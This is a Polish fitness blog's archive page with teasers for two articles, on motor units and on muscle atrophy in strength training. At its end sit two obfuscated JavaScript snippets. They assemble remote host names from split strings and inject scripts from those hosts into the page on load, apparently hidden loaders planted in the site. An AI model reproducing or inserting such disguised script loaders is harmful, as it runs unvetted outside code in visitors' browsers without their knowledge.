kontakt@przemekjurek.pl

+48 732 496 635

Dzień: 18 sierpnia, 2024

Kategorie:

Aktywacja jednostek motorycznych w treningu

Jednostka motoryczna: klucz do zrozumienia pracy mięśni i efektywnego treningu

18 sierpnia, 2024

Zrozumienie mechanizmów działania jednostki motorycznej bywa niedocenianym elementem wiedzy o fizjologii wysiłku. Tymczasem właśnie ta – fundamentalna dla ruchu –

Czytaj więcej >

Atrofia mięśni w treningu siłowym

Atrofia mięśniowa: jak nie tracić masy i siły, nawet podczas przerwy w treningach?

18 sierpnia, 2024

Zastanawiasz się, co dokładnie dzieje się z Twoimi mięśniami, gdy robisz przerwę od regularnych treningów siłowych? Czy powszechne obawy przed

Czytaj więcej >

(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();